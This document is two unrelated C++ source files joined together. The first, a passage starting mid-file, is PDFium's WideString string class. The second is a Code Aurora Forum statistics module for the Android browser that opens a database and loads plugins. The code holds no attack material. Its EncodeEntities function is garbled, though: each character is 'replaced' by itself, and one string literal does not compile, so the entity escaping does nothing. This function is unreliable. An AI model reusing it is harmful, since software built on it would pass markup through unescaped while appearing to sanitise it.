bool bSufficientBuffer = ret >= 0 || buffer[size - 1] == 0;
if (!bSufficientBuffer)
return {};
}
str.ReleaseBuffer(str.GetStringLength());
return {str};
}
} // namespace
namespace fxcrt {
static_assert(sizeof(WideString) <= sizeof(wchar_t*),
"Strings must not require more space than pointers");
// static
WideString WideString::FormatV(const wchar_t* format, va_list argList) {
va_list argListCopy;
va_copy(argListCopy, argList);
int maxLen = vswprintf(nullptr, 0, format, argListCopy);
va_end(argListCopy);
if (maxLen <= 0) {
va_copy(argListCopy, argList);
auto guess = GuessSizeForVSWPrintf(format, argListCopy);
va_end(argListCopy);
if (!guess.has_value())
return WideString();
maxLen = pdfium::base::checked_cast<int>(guess.value());
}
while (maxLen < 32 * 1024) {
va_copy(argListCopy, argList);
Optional<WideString> ret =
TryVSWPrintf(static_cast<size_t>(maxLen), format, argListCopy);
va_end(argListCopy);
if (ret)
return *ret;
maxLen *= 2;
}
return WideString();
}
// static
WideString WideString::Format(const wchar_t* pFormat, ...) {
va_list argList;
va_start(argList, pFormat);
WideString ret = FormatV(pFormat, argList);
va_end(argList);
return ret;
}
WideString::WideString() = default;
WideString::WideString(const WideString& other) : m_pData(other.m_pData) {}
WideString::WideString(WideString&& other) noexcept {
m_pData.Swap(other.m_pData);
}
WideString::WideString(const wchar_t* pStr, size_t nLen) {
if (nLen)
m_pData.Reset(StringData::Create(pStr, nLen));
}
WideString::WideString(wchar_t ch) {
m_pData.Reset(StringData::Create(1));
m_pData->m_String[0] = ch;
}
WideString::WideString(const wchar_t* ptr)
: WideString(ptr, ptr ? wcslen(ptr) : 0) {}
WideString::WideString(WideStringView stringSrc) {
if (!stringSrc.IsEmpty()) {
m_pData.Reset(StringData::Create(stringSrc.unterminated_c_str(),
stringSrc.GetLength()));
}
}
WideString::WideString(WideStringView str1, WideStringView str2) {
FX_SAFE_SIZE_T nSafeLen = str1.GetLength();
nSafeLen += str2.GetLength();
size_t nNewLen = nSafeLen.ValueOrDie();
if (nNewLen == 0)
return;
m_pData.Reset(StringData::Create(nNewLen));
m_pData->CopyContents(str1.unterminated_c_str(), str1.GetLength());
m_pData->CopyContentsAt(str1.GetLength(), str2.unterminated_c_str(),
str2.GetLength());
}
WideString::WideString(const std::initializer_list<WideStringView>& list) {
FX_SAFE_SIZE_T nSafeLen = 0;
for (const auto& item : list)
nSafeLen += item.GetLength();
size_t nNewLen = nSafeLen.ValueOrDie();
if (nNewLen == 0)
return;
m_pData.Reset(StringData::Create(nNewLen));
size_t nOffset = 0;
for (const auto& item : list) {
m_pData->CopyContentsAt(nOffset, item.unterminated_c_str(),
item.GetLength());
nOffset += item.GetLength();
}
}
WideString::~WideString() = default;
WideString& WideString::operator=(const wchar_t* str) {
if (!str || !str[0])
clear();
else
AssignCopy(str, wcslen(str));
return *this;
}
WideString& WideString::operator=(WideStringView str) {
if (str.IsEmpty())
clear();
else
AssignCopy(str.unterminated_c_str(), str.GetLength());
return *this;
}
WideString& WideString::operator=(const WideString& that) {
if (m_pData != that.m_pData)
m_pData = that.m_pData;
return *this;
}
WideString& WideString::operator=(WideString&& that) noexcept {
if (m_pData != that.m_pData)
m_pData = std::move(that.m_pData);
return *this;
}
WideString& WideString::operator+=(const wchar_t* str) {
if (str)
Concat(str, wcslen(str));
return *this;
}
WideString& WideString::operator+=(wchar_t ch) {
Concat(&ch, 1);
return *this;
}
WideString& WideString::operator+=(const WideString& str) {
if (str.m_pData)
Concat(str.m_pData->m_String, str.m_pData->m_nDataLength);
return *this;
}
WideString& WideString::operator+=(WideStringView str) {
if (!str.IsEmpty())
Concat(str.unterminated_c_str(), str.GetLength());
return *this;
}
bool WideString::operator==(const wchar_t* ptr) const {
if (!m_pData)
return !ptr || !ptr[0];
if (!ptr)
return m_pData->m_nDataLength == 0;
return wcslen(ptr) == m_pData->m_nDataLength &&
wmemcmp(ptr, m_pData->m_String, m_pData->m_nDataLength) == 0;
}
bool WideString::operator==(WideStringView str) const {
if (!m_pData)
return str.IsEmpty();
return m_pData->m_nDataLength == str.GetLength() &&
wmemcmp(m_pData->m_String, str.unterminated_c_str(),
str.GetLength()) == 0;
}
bool WideString::operator==(const WideString& other) const {
if (m_pData == other.m_pData)
return true;
if (IsEmpty())
return other.IsEmpty();
if (other.IsEmpty())
return false;
return other.m_pData->m_nDataLength == m_pData->m_nDataLength &&
wmemcmp(other.m_pData->m_String, m_pData->m_String,
m_pData->m_nDataLength) == 0;
}
bool WideString::operator<(const wchar_t* ptr) const {
return Compare(ptr) < 0;
}
bool WideString::operator<(WideStringView str) const {
if (!m_pData && !str.unterminated_c_str())
return false;
if (c_str() == str.unterminated_c_str())
return false;
size_t len = GetLength();
size_t other_len = str.GetLength();
int result =
wmemcmp(c_str(), str.unterminated_c_str(), std::min(len, other_len));
return result < 0 || (result == 0 && len < other_len);
}
bool WideString::operator<(const WideString& other) const {
return Compare(other) < 0;
}
void WideString::AssignCopy(const wchar_t* pSrcData, size_t nSrcLen) {
AllocBeforeWrite(nSrcLen);
m_pData->CopyContents(pSrcData, nSrcLen);
m_pData->m_nDataLength = nSrcLen;
}
void WideString::ReallocBeforeWrite(size_t nNewLength) {
if (m_pData && m_pData->CanOperateInPlace(nNewLength))
return;
if (nNewLength == 0) {
clear();
return;
}
RetainPtr<StringData> pNewData(StringData::Create(nNewLength));
if (m_pData) {
size_t nCopyLength = std::min(m_pData->m_nDataLength, nNewLength);
pNewData->CopyContents(m_pData->m_String, nCopyLength);
pNewData->m_nDataLength = nCopyLength;
} else {
pNewData->m_nDataLength = 0;
}
pNewData->m_String[pNewData->m_nDataLength] = 0;
m_pData.Swap(pNewData);
}
void WideString::AllocBeforeWrite(size_t nNewLength) {
if (m_pData && m_pData->CanOperateInPlace(nNewLength))
return;
if (nNewLength == 0) {
clear();
return;
}
m_pData.Reset(StringData::Create(nNewLength));
}
void WideString::ReleaseBuffer(size_t nNewLength) {
if (!m_pData)
return;
nNewLength = std::min(nNewLength, m_pData->m_nAllocLength);
if (nNewLength == 0) {
clear();
return;
}
ASSERT(m_pData->m_nRefs == 1);
m_pData->m_nDataLength = nNewLength;
m_pData->m_String[nNewLength] = 0;
if (m_pData->m_nAllocLength - nNewLength >= 32) {
// Over arbitrary threshold, so pay the price to relocate. Force copy to
// always occur by holding a second reference to the string.
WideString preserve(*this);
ReallocBeforeWrite(nNewLength);
}
}
void WideString::Reserve(size_t len) {
GetBuffer(len);
}
pdfium::span<wchar_t> WideString::GetBuffer(size_t nMinBufLength) {
if (!m_pData) {
if (nMinBufLength == 0)
return pdfium::span<wchar_t>();
m_pData.Reset(StringData::Create(nMinBufLength));
m_pData->m_nDataLength = 0;
m_pData->m_String[0] = 0;
return pdfium::span<wchar_t>(m_pData->m_String, m_pData->m_nAllocLength);
}
if (m_pData->CanOperateInPlace(nMinBufLength))
return pdfium::span<wchar_t>(m_pData->m_String, m_pData->m_nAllocLength);
nMinBufLength = std::max(nMinBufLength, m_pData->m_nDataLength);
if (nMinBufLength == 0)
return pdfium::span<wchar_t>();
RetainPtr<StringData> pNewData(StringData::Create(nMinBufLength));
pNewData->CopyContents(*m_pData);
pNewData->m_nDataLength = m_pData->m_nDataLength;
m_pData.Swap(pNewData);
return pdfium::span<wchar_t>(m_pData->m_String, m_pData->m_nAllocLength);
}
size_t WideString::Delete(size_t index, size_t count) {
if (!m_pData)
return 0;
size_t old_length = m_pData->m_nDataLength;
if (count == 0 || index != pdfium::clamp<size_t>(index, 0, old_length))
return old_length;
size_t removal_length = index + count;
if (removal_length > old_length)
return old_length;
ReallocBeforeWrite(old_length);
size_t chars_to_copy = old_length - removal_length + 1;
wmemmove(m_pData->m_String + index, m_pData->m_String + removal_length,
chars_to_copy);
m_pData->m_nDataLength = old_length - count;
return m_pData->m_nDataLength;
}
void WideString::Concat(const wchar_t* pSrcData, size_t nSrcLen) {
if (!pSrcData || nSrcLen == 0)
return;
if (!m_pData) {
m_pData.Reset(StringData::Create(pSrcData, nSrcLen));
return;
}
if (m_pData->CanOperateInPlace(m_pData->m_nDataLength + nSrcLen)) {
m_pData->CopyContentsAt(m_pData->m_nDataLength, pSrcData, nSrcLen);
m_pData->m_nDataLength += nSrcLen;
return;
}
size_t nConcatLen = std::max(m_pData->m_nDataLength / 2, nSrcLen);
RetainPtr<StringData> pNewData(
StringData::Create(m_pData->m_nDataLength + nConcatLen));
pNewData->CopyContents(*m_pData);
pNewData->CopyContentsAt(m_pData->m_nDataLength, pSrcData, nSrcLen);
pNewData->m_nDataLength = m_pData->m_nDataLength + nSrcLen;
m_pData.Swap(pNewData);
}
intptr_t WideString::ReferenceCountForTesting() const {
return m_pData ? m_pData->m_nRefs : 0;
}
ByteString WideString::ToASCII() const {
ByteString result;
result.Reserve(GetLength());
for (wchar_t wc : *this)
result.InsertAtBack(static_cast<char>(wc & 0x7f));
return result;
}
ByteString WideString::ToLatin1() const {
ByteString result;
result.Reserve(GetLength());
for (wchar_t wc : *this)
result.InsertAtBack(static_cast<char>(wc & 0xff));
return result;
}
ByteString WideString::ToDefANSI() const {
int src_len = GetLength();
int dest_len = FXSYS_WideCharToMultiByte(
FX_CODEPAGE_DefANSI, 0, c_str(), src_len, nullptr, 0, nullptr, nullptr);
if (!dest_len)
return ByteString();
ByteString bstr;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<char> dest_buf = bstr.GetBuffer(dest_len);
FXSYS_WideCharToMultiByte(FX_CODEPAGE_DefANSI, 0, c_str(), src_len,
dest_buf.data(), dest_len, nullptr, nullptr);
}
bstr.ReleaseBuffer(dest_len);
return bstr;
}
ByteString WideString::ToUTF8() const {
return FX_UTF8Encode(AsStringView());
}
ByteString WideString::ToUTF16LE() const {
if (!m_pData)
return ByteString("\0\0", 2);
ByteString result;
int len = m_pData->m_nDataLength;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<char> buffer = result.GetBuffer(len * 2 + 2);
for (int i = 0; i < len; i++) {
buffer[i * 2] = m_pData->m_String[i] & 0xff;
buffer[i * 2 + 1] = m_pData->m_String[i] >> 8;
}
buffer[len * 2] = 0;
buffer[len * 2 + 1] = 0;
}
result.ReleaseBuffer(len * 2 + 2);
return result;
}
WideString WideString::EncodeEntities() const {
WideString ret = *this;
ret.Replace(L"&", L"&");
ret.Replace(L"<", L"<");
ret.Replace(L">", L">");
ret.Replace(L"\'", L"'");
ret.Replace(L"\"", L""");
return ret;
}
WideString WideString::Substr(size_t first, size_t count) const {
if (!m_pData)
return WideString();
if (!IsValidIndex(first))
return WideString();
if (count == 0 || !IsValidLength(count))
return WideString();
if (!IsValidIndex(first + count - 1))
return WideString();
if (first == 0 && count == GetLength())
return *this;
WideString dest;
AllocCopy(dest, count, first);
return dest;
}
WideString WideString::First(size_t count) const {
if (count == 0 || !IsValidLength(count))
return WideString();
return Substr(0, count);
}
WideString WideString::Last(size_t count) const {
if (count == 0 || !IsValidLength(count))
return WideString();
return Substr(GetLength() - count, count);
}
void WideString::AllocCopy(WideString& dest,
size_t nCopyLen,
size_t nCopyIndex) const {
if (nCopyLen == 0)
return;
RetainPtr<StringData> pNewData(
StringData::Create(m_pData->m_String + nCopyIndex, nCopyLen));
dest.m_pData.Swap(pNewData);
}
size_t WideString::Insert(size_t index, wchar_t ch) {
const size_t cur_length = GetLength();
if (!IsValidLength(index))
return cur_length;
const size_t new_length = cur_length + 1;
ReallocBeforeWrite(new_length);
wmemmove(m_pData->m_String + index + 1, m_pData->m_String + index,
new_length - index);
m_pData->m_String[index] = ch;
m_pData->m_nDataLength = new_length;
return new_length;
}
Optional<size_t> WideString::Find(wchar_t ch, size_t start) const {
if (!m_pData)
return pdfium::nullopt;
if (!IsValidIndex(start))
return pdfium::nullopt;
const wchar_t* pStr =
wmemchr(m_pData->m_String + start, ch, m_pData->m_nDataLength - start);
return pStr ? Optional<size_t>(static_cast<size_t>(pStr - m_pData->m_String))
: pdfium::nullopt;
}
Optional<size_t> WideString::Find(WideStringView subStr, size_t start) const {
if (!m_pData)
return pdfium::nullopt;
if (!IsValidIndex(start))
return pdfium::nullopt;
const wchar_t* pStr =
FX_wcsstr(m_pData->m_String + start, m_pData->m_nDataLength - start,
subStr.unterminated_c_str(), subStr.GetLength());
return pStr ? Optional<size_t>(static_cast<size_t>(pStr - m_pData->m_String))
: pdfium::nullopt;
}
Optional<size_t> WideString::ReverseFind(wchar_t ch) const {
if (!m_pData)
return pdfium::nullopt;
size_t nLength = m_pData->m_nDataLength;
while (nLength--) {
if (m_pData->m_String[nLength] == ch)
return nLength;
}
return pdfium::nullopt;
}
void WideString::MakeLower() {
if (!m_pData)
return;
ReallocBeforeWrite(m_pData->m_nDataLength);
FXSYS_wcslwr(m_pData->m_String);
}
void WideString::MakeUpper() {
if (!m_pData)
return;
ReallocBeforeWrite(m_pData->m_nDataLength);
FXSYS_wcsupr(m_pData->m_String);
}
size_t WideString::Remove(wchar_t chRemove) {
if (!m_pData || m_pData->m_nDataLength == 0)
return 0;
wchar_t* pstrSource = m_pData->m_String;
wchar_t* pstrEnd = m_pData->m_String + m_pData->m_nDataLength;
while (pstrSource < pstrEnd) {
if (*pstrSource == chRemove)
break;
pstrSource++;
}
if (pstrSource == pstrEnd)
return 0;
ptrdiff_t copied = pstrSource - m_pData->m_String;
ReallocBeforeWrite(m_pData->m_nDataLength);
pstrSource = m_pData->m_String + copied;
pstrEnd = m_pData->m_String + m_pData->m_nDataLength;
wchar_t* pstrDest = pstrSource;
while (pstrSource < pstrEnd) {
if (*pstrSource != chRemove) {
*pstrDest = *pstrSource;
pstrDest++;
}
pstrSource++;
}
*pstrDest = 0;
size_t count = static_cast<size_t>(pstrSource - pstrDest);
m_pData->m_nDataLength -= count;
return count;
}
size_t WideString::Replace(WideStringView pOld, WideStringView pNew) {
if (!m_pData || pOld.IsEmpty())
return 0;
size_t nSourceLen = pOld.GetLength();
size_t nReplacementLen = pNew.GetLength();
size_t count = 0;
const wchar_t* pStart = m_pData->m_String;
wchar_t* pEnd = m_pData->m_String + m_pData->m_nDataLength;
while (1) {
const wchar_t* pTarget =
FX_wcsstr(pStart, static_cast<size_t>(pEnd - pStart),
pOld.unterminated_c_str(), nSourceLen);
if (!pTarget)
break;
count++;
pStart = pTarget + nSourceLen;
}
if (count == 0)
return 0;
size_t nNewLength =
m_pData->m_nDataLength + (nReplacementLen - nSourceLen) * count;
if (nNewLength == 0) {
clear();
return count;
}
RetainPtr<StringData> pNewData(StringData::Create(nNewLength));
pStart = m_pData->m_String;
wchar_t* pDest = pNewData->m_String;
for (size_t i = 0; i < count; i++) {
const wchar_t* pTarget =
FX_wcsstr(pStart, static_cast<size_t>(pEnd - pStart),
pOld.unterminated_c_str(), nSourceLen);
wmemcpy(pDest, pStart, pTarget - pStart);
pDest += pTarget - pStart;
wmemcpy(pDest, pNew.unterminated_c_str(), pNew.GetLength());
pDest += pNew.GetLength();
pStart = pTarget + nSourceLen;
}
wmemcpy(pDest, pStart, pEnd - pStart);
m_pData.Swap(pNewData);
return count;
}
// static
WideString WideString::FromASCII(ByteStringView bstr) {
WideString result;
result.Reserve(bstr.GetLength());
for (char c : bstr)
result.InsertAtBack(static_cast<wchar_t>(c & 0x7f));
return result;
}
// static
WideString WideString::FromLatin1(ByteStringView bstr) {
WideString result;
result.Reserve(bstr.GetLength());
for (char c : bstr)
result.InsertAtBack(static_cast<wchar_t>(c & 0xff));
return result;
}
// static
WideString WideString::FromDefANSI(ByteStringView bstr) {
int src_len = bstr.GetLength();
int dest_len = FXSYS_MultiByteToWideChar(
FX_CODEPAGE_DefANSI, 0, bstr.unterminated_c_str(), src_len, nullptr, 0);
if (!dest_len)
return WideString();
WideString wstr;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<wchar_t> dest_buf = wstr.GetBuffer(dest_len);
FXSYS_MultiByteToWideChar(FX_CODEPAGE_DefANSI, 0, bstr.unterminated_c_str(),
src_len, dest_buf.data(), dest_len);
}
wstr.ReleaseBuffer(dest_len);
return wstr;
}
// static
WideString WideString::FromUTF8(ByteStringView str) {
return FX_UTF8Decode(str);
}
// static
WideString WideString::FromUTF16LE(const unsigned short* wstr, size_t wlen) {
if (!wstr || wlen == 0)
return WideString();
WideString result;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<wchar_t> buf = result.GetBuffer(wlen);
for (size_t i = 0; i < wlen; i++)
buf[i] = wstr[i];
}
result.ReleaseBuffer(wlen);
return result;
}
WideString WideString::FromUTF16BE(const unsigned short* wstr, size_t wlen) {
if (!wstr || wlen == 0)
return WideString();
WideString result;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<wchar_t> buf = result.GetBuffer(wlen);
for (size_t i = 0; i < wlen; i++) {
auto wch = wstr[i];
wch = (wch >> 8) | (wch << 8);
buf[i] = wch;
}
}
result.ReleaseBuffer(wlen);
return result;
}
void WideString::SetAt(size_t index, wchar_t c) {
ASSERT(IsValidIndex(index));
ReallocBeforeWrite(m_pData->m_nDataLength);
m_pData->m_String[index] = c;
}
int WideString::Compare(const wchar_t* str) const {
if (m_pData)
return str ? wcscmp(m_pData->m_String, str) : 1;
return (!str || str[0] == 0) ? 0 : -1;
}
int WideString::Compare(const WideString& str) const {
if (!m_pData)
return str.m_pData ? -1 : 0;
if (!str.m_pData)
return 1;
size_t this_len = m_pData->m_nDataLength;
size_t that_len = str.m_pData->m_nDataLength;
size_t min_len = std::min(this_len, that_len);
int result = wmemcmp(m_pData->m_String, str.m_pData->m_String, min_len);
if (result != 0)
return result;
if (this_len == that_len)
return 0;
return this_len < that_len ? -1 : 1;
}
int WideString::CompareNoCase(const wchar_t* str) const {
if (m_pData)
return str ? FXSYS_wcsicmp(m_pData->m_String, str) : 1;
return (!str || str[0] == 0) ? 0 : -1;
}
size_t WideString::WStringLength(const unsigned short* str) {
size_t len = 0;
if (str)
while (str[len])
len++;
return len;
}
void WideString::Trim() {
TrimRight(kWideTrimChars);
TrimLeft(kWideTrimChars);
}
void WideString::Trim(wchar_t target) {
wchar_t str[2] = {target, 0};
TrimRight(str);
TrimLeft(str);
}
void WideString::Trim(WideStringView targets) {
TrimRight(targets);
TrimLeft(targets);
}
void WideString::TrimLeft() {
TrimLeft(kWideTrimChars);
}
void WideString::TrimLeft(wchar_t target) {
wchar_t str[2] = {target, 0};
TrimLeft(str);
}
void WideString::TrimLeft(WideStringView targets) {
if (!m_pData || targets.IsEmpty())
return;
size_t len = GetLength();
if (len == 0)
return;
size_t pos = 0;
while (pos < len) {
size_t i = 0;
while (i < targets.GetLength() &&
targets.CharAt(i) != m_pData->m_String[pos]) {
i++;
}
if (i == targets.GetLength())
break;
pos++;
}
if (!pos)
return;
ReallocBeforeWrite(len);
size_t nDataLength = len - pos;
memmove(m_pData->m_String, m_pData->m_String + pos,
(nDataLength + 1) * sizeof(wchar_t));
m_pData->m_nDataLength = nDataLength;
}
void WideString::TrimRight() {
TrimRight(kWideTrimChars);
}
void WideString::TrimRight(wchar_t target) {
wchar_t str[2] = {target, 0};
TrimRight(str);
}
void WideString::TrimRight(WideStringView targets) {
if (IsEmpty() || targets.IsEmpty())
return;
size_t pos = GetLength();
while (pos && targets.Contains(m_pData->m_String[pos - 1]))
pos--;
if (pos < m_pData->m_nDataLength) {
ReallocBeforeWrite(m_pData->m_nDataLength);
m_pData->m_String[pos] = 0;
m_pData->m_nDataLength = pos;
}
}
int WideString::GetInteger() const {
return m_pData ? FXSYS_wtoi(m_pData->m_String) : 0;
}
std::wostream& operator<<(std::wostream& os, const WideString& str) {
return os.write(str.c_str(), str.GetLength());
}
std::ostream& operator<<(std::ostream& os, const WideString& str) {
os << str.ToUTF8();
return os;
}
std::wostream& operator<<(std::wostream& os, WideStringView str) {
return os.write(str.unterminated_c_str(), str.GetLength());
}
std::ostream& operator<<(std::ostream& os, WideStringView str) {
os << FX_UTF8Encode(str);
return os;
}
} // namespace fxcrt
uint32_t FX_HashCode_GetW(WideStringView str, bool bIgnoreCase) {
uint32_t dwHashCode = 0;
if (bIgnoreCase) {
for (wchar_t c : str) // match FXSYS_towlower() arg type.
dwHashCode = 1313 * dwHashCode + FXSYS_towlower(c);
} else {
for (WideStringView::UnsignedType c : str)
dwHashCode = 1313 * dwHashCode + c;
}
return dwHashCode;
}
|
/** ---------------------------------------------------------------------------
Copyright (c) 2011, Code Aurora Forum. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following
disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Code Aurora Forum, Inc. nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-----------------------------------------------------------------------------**/
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/queue.h>
#include <sys/time.h>
#include <sys/prctl.h>
#include <cutils/properties.h>
#include "app/sql/statement.h"
#include "app/sql/transaction.h"
#include "base/command_line.h"
#include "base/file_util.h"
#include "base/time.h"
#include "base/string_util.h"
#include "base/utf_string_conversions.h"
#include "base/task.h"
#include "base/threading/thread.h"
#include "net/disk_cache/hash.h"
#include "stat_hub.h"
namespace stat_hub {
#define FLUSH_DB_TIMEOUT_THRESHOLD_DEF 30000
typedef enum {
INPUT_STATE_READ_MARKER,
INPUT_STATE_READ_CMD,
INPUT_STATE_READ_STRING_LEN,
INPUT_STATE_READ_STRING_DATA,
INPUT_STATE_READ_INT32,
} InputState;
const char* kPropNameEnabled = "stathub.enabled";
const char* kPropNameDbpath = "stathub.dbpath";
const char* kPropNameVerbose = "stathub.verbose";
const char* kPropNameFlushDelay = "stathub.flushdelay";
const char* kPropNameEnabledAppName = "stathub.appname";
const char* kPropNamePlugin = "stathub.plugin";
const char* kEnabledAppName = "com.android.browser";
void DoFlushDB(StatHub* database) {
database->FlushDBrequest();
}
// Version number of the database.
static const int kCurrentVersionNumber = 1;
static const int kCompatibleVersionNumber = 1;
StatHub* StatHub::GetInstance() {
static StatHub hub;
return &hub;
}
StatHub::StatHub() :
db_(NULL),
ready_(false),
flush_db_required_(false),
flush_db_scheduled_(false),
first_processor_(NULL),
thread_(NULL),
flush_delay_(FLUSH_DB_TIMEOUT_THRESHOLD_DEF),
verbose_level_(STAT_HUB_VERBOSE_LEVEL_DISABLED) {
cmd_mask_ |= (1<<INPUT_CMD_WK_MMC_CLEAR);
cmd_mask_ |= (1<<INPUT_CMD_WK_MAIN_URL_LOADED);
}
StatHub::~StatHub() {
Release();
}
bool StatHub::LoadPlugin(const char* name) {
if (IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Init - Load plugin: " << name;
}
StatProcessorGenericPlugin* plugin = new StatProcessorGenericPlugin(name);
if( plugin->OpenPlugin()) {
RegisterProcessor(plugin);
return true;
}
return false;
}
void StatHub::RegisterProcessor(StatProcessor* processor) {
if (NULL!=processor) {
processor->next_ = first_processor_;
first_processor_ = processor;
}
}
StatProcessor* StatHub::DeleteProcessor(StatProcessor* processor) {
if (NULL!=processor) {
StatProcessor* next = processor->next_;
if (first_processor_==processor) {
first_processor_ = next;
}
else {
for (StatProcessor* tmp_processor=first_processor_; tmp_processor!=NULL; tmp_processor=tmp_processor->next_ ) {
if (tmp_processor->next_==processor) {
tmp_processor->next_=next;
break;
}
}
}
delete processor;
return next;
}
return NULL;
}
bool StatHub::Init(const std::string& db_path, MessageLoop* message_loop, net::HttpCache* http_cache) {
char value[PROPERTY_VALUE_MAX] = {'\0'};
if (ready_) {
LOG(INFO) << "StatHub::Init - Already initializes";
return false;
}
if (db_path.empty() || NULL==message_loop) {
LOG(ERROR) << "StatHub::Init - Bad parameters";
return false;
}
property_get(kPropNameEnabled, value, "1"); //!!!!!!!!! ENABLED by default !!!!!!!!!
if (!atoi(value)) {
LOG(INFO) << "StatHub::Init - Disabled";
return false;
}
property_get(kPropNameVerbose, value, "0"); //STAT_HUB_VERBOSE_LEVEL_DISABLED - 0
verbose_level_ = (StatHubVerboseLevel)atoi(value);
if (IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Init - Verbose Level: " << verbose_level_;
}
//Check application restriction
property_get(kPropNameEnabledAppName, value, kEnabledAppName);
enabled_app_name_ = value;
char path[128] = {'\0'};
pid_t pid = getpid();
snprintf(path, sizeof(path), "/proc/%d/cmdline", pid);
int fd = open(path, O_RDONLY);
int rd_len = read(fd, path , sizeof(path)-1);
if (0 > rd_len) {
rd_len = 0;
}
path[rd_len] = 0;
close(fd);
if(IsVerboseEnabled()) {
LOG(INFO) << "CacheDatabase::Init - Prc Name: " << path << "(" << (int)pid << ")";
}
if (strcmp(path, enabled_app_name_.c_str())) {
LOG(ERROR) << "StatHub::Init - App " << path << " isn't supported.";
return false;
}
base::Time start(StatHubGetSystemTime());
property_get(kPropNameFlushDelay, value, PROP_VAL_TO_STR(FLUSH_DB_TIMEOUT_THRESHOLD_DEF));
flush_delay_ = atoi(value);
if (flush_delay_<=0) {
flush_delay_ = FLUSH_DB_TIMEOUT_THRESHOLD_DEF;
}
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Init - Flush delay: " << flush_delay_;
}
std::string db_path_def = db_path + "/db.sql";
property_get(kPropNameDbpath, value, db_path_def.c_str());
db_path_ = value;
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Init - DB path: " << db_path.c_str();
LOG(INFO) << "StatHub::Init - Finale DB path: " << db_path_.c_str();
}
message_loop_ = message_loop;
http_cache_ = http_cache;
#if defined(NOT_NOW)
db_->set_page_size(2048);
db_->set_cache_size(32);
//Run the database in exclusive mode. Nobody else should be accessing the
//database while we're running, and this will give somewhat improved perf.
db_->set_exclusive_locking();
#endif //defined(NOT_NOW)
db_ = new sql::Connection();
if (!db_->Open(FilePath(db_path_.c_str()))) {
LOG(ERROR) << "StatHub::Init - Unable to open DB " << db_path_.c_str();
Release();
return false;
}
// Scope initialization in a transaction so we can't be partially initialized.
if (!StatHubBeginTransaction(db_)) {
LOG(ERROR) << "StatHub::Init - Unable to start transaction";
Release();
return false;
}
// Create tables.
if (!InitTables()) {
LOG(ERROR) << "StatHub::Init - Unable to initialize DB tables";
Release();
return false;
}
//load mandatory plugins
LoadPlugin("pp_proc_plugin.so");
LoadPlugin("pageload_proc_plugin.so");
#ifdef STAT_HUB_DYNAMIC_BIND_ON
//load arbitrary plugins
for(int index=1; ; index++) {
std::ostringstream index_str;
index_str << "." << index;
std::string plugin_prop_name = kPropNamePlugin + index_str.str();
property_get(plugin_prop_name.c_str(), value, "");
if (!value[0]) {
break;
}
LoadPlugin(value);
}
#endif // STAT_HUB_DYNAMIC_BIND_ON
std::string proc_name;
for (StatProcessor* processor=first_processor_; processor!=NULL;) {
if (!processor->OnGetProcName(proc_name)) {
proc_name = "Undefined";
}
if(!processor->OnInit(db_, message_loop_)) {
LOG(INFO) << "StatHub::Init - processor " << proc_name.c_str() << " initialization failed!";
processor = DeleteProcessor(processor);
} else {
LOG(INFO) << "StatHub::Init - processor " << proc_name.c_str() << " is ready.";
unsigned int cmd_mask;
if (processor->OnGetCmdMask(cmd_mask)) {
cmd_mask_ |= cmd_mask;
}
processor=processor->next_ ;
}
}
// Initialization is complete.
if (!StatHubCommitTransaction(db_)) {
LOG(ERROR) << "StatHub::Init - Unable to commist transaction";
Release();
return false;
}
for (StatProcessor* processor=first_processor_; processor!=NULL; processor=processor->next_ ) {
processor->OnFetchDb(db_);
}
thread_ = new base::Thread("event_handler");
if (!thread_->StartWithOptions(base::Thread::Options(MessageLoop::TYPE_IO, 0))) {
LOG(ERROR) << "StatHub::Init event thread start error";
Release();
return false;
}
ready_ = true;
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Init: Init DB Time: " << StatHubGetTimeDeltaInMs(start, StatHubGetSystemTime());
}
return true;
}
void StatHub::Release() {
if(IsVerboseEnabled()) {
LOG(INFO) << "StatHub::Release";
}
//thread
if(NULL!=thread_) {
delete thread_;
thread_ = NULL;
}
//processors
StatProcessor* next_processor;
for (StatProcessor* processor=first_processor_; processor!=NULL; processor=next_processor ) {
next_processor = processor->next_;
delete processor;
}
first_processor_ = NULL;
//DataBase
if (NULL!=db_) {
db_->Close();
delete db_;
db_ = NULL;
}
//Rest
flush_db_required_ = false;
flush_db_scheduled_ = false;
ready_ = false;
}
bool StatHub::InitTables() {
if (!StatHubDoesTableExist(db_, "meta")) {
if (!StatHubExecute(db_, "CREATE TABLE meta ("
"key LONGVARCHAR NOT NULL UNIQUE PRIMARY KEY,"
"value LONGVARCHAR"
")")) {
return false;
}
}
return true;
}
